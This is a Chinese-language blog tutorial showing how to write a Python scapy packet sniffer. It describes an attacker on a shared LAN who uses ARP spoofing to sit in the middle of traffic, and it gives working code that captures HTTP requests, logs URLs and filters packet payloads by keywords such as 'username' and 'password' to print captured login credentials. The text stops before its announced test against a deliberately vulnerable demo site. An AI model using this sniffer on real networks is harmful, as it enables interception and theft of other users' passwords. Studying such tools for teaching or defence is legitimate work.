Packet Sniffer:使用 Python 撰寫 「封包偵測」

Note: 此教學可應用在大部分的 Linux 作業系統。

什麼是封包偵測 (Packet Sniffer)?

偵測(Sniffers)是一種網絡流量數據分析的手段,常見於網絡安全領域使用,也有用於業務分析領域,一般是指使用偵測器對數據流的數據截獲與封包分析(Packet analysis)。

用途:

  • 分析網絡問題
  • 分析網絡信息流通量
  • 探測企圖入侵網絡的攻擊
  • 探測由內部和外部的用戶濫用網絡資源
  • 探測網絡入侵後的影響
  • 監測網絡使用流量(包括內部用戶,外部用戶和系統)
  • 監測網際網路和用戶電腦的安全狀態
  • 滲透與欺騙

參考連結:維基百科


使用 Python 撰寫 「封包偵測」(Packet Sniffer)

開發環境

使用模組(Python 模組)

功用

攻擊者如何使用嗅探器(監聽)攻擊網絡:

  1. 攻擊者和受害者在相同的區域網路下
  2. 使用 ARP Spoofer 將封包重新導向流入攻擊者,也扮演中間人的角色
  3. 解析封包,提取密碼和敏感資料

因此這篇文章會實作一個封包解析腳本,能透過一個介面(eth0)分析封包,進而讓我們拿到有用的資訊,例如使用者的帳戶、密碼……等。

實作

以下為完整程式碼:

在此我們設計一個 sniff(interface) 函式,輸入為一個介面去獲取資料的來源,在此我們將嗅探 eth0,因為我們的Kali主機只有 eth0 連上網路,故選擇它當作介面( interface ):

def sniff(interface):
    scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)

sniff("eth0")

在此函式裡,我們呼叫 scapy 裡的函式 sniff,以下我們來看下 sniff 方法的描述信息:

def sniff(count=0, store=1, offline=None, prn=None, lfilter=None,  
          L2socket=None, timeout=None, opened_socket=None,
          stop_filter=None, iface=None, *arg, **karg):
  • count:抓包的數量,0表示無限制
  • store:保存抓取的封包或者丟棄
  • prn:為每一個封包定義一個函數,如果返回了什麼,則顯示。例如:prn = lambda x: x.summary()
  • offline:從 pcap 文件讀取封包,而不進行嗅探(Sniffer)
  • timeout:在給定的時間後停止嗅探,默認為 None
  • L2socket:使用给定的 L2socket
  • opened_socket:對指定的對象使用 .recv() 進行讀取
  • stop_filter:定義一個函數,決定在抓到指定封包後停止抓包,如:stop_filter = lambda x: x.haslayer(TCP)
  • iface:指定抓包的介面

scapy 的函式 sniff 有個參數 prn,其為每一個封包定義一個函數,如果返回了什麼。接下來開始實作 process_sniffed_packet 函式:

def process_sniffed_packet(packet):
    if packet.haslayer(http.HTTPRequest):
        url = get_url(packet)
        print("[+] HTTP Request >> " + url)
        
        login_info = get_login_info(packet)
        if login_info:
            print("\n\n[+] Possible username/password > " + login_info + "\n\n")

我們使用 haslayer 函式判斷是否有 http 相關的封包:

if packet.haslayer(http.HTTPRequest):

而 get_url(packet) 取得封包的 http url 資訊,函式的詳細內容如下:

def get_url(packet):
    return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path

此 Packet Sniffer 程式我們期望能過濾出使用者登入網站時的 帳戶、密碼 ,因此在 process_sniffed_packet 函式裡可以看到呼叫 get_login_info(packet),此函式是用來過濾出登入資訊,詳細程式如下:

def get_login_info(packet):
    if packet.haslayer(scapy.Raw):
        load = packet[scapy.Raw].load
        keywords = ["username", "user", "login", "password", "pass", "uname"]
        for keyword in keywords:
            if keyword in load:
                return load

在此 Raw 是我們要的 layer,而裡面的 load 這個欄位包含了使用者輸入的帳密。

假設我們去拜訪其他網站,其他網站的 load 這個欄位可能會傳給我們沒用的資料(Data),即使剛剛使用者輸入的帳密資訊還在,終端機會變得很雜亂。

因此我們使用關鍵字來過濾出我們想要的資料,創建一個放關鍵字的 List(參數 keywords),檢查 load 這個欄位是否有我們想要的關鍵字。

接下來我們使用 http://testphp.vulnweb.com/login.php 來測試程式運行:

Leave a Reply

發佈留言必須填寫的電子郵件地址不會公開。 必填欄位標示為 *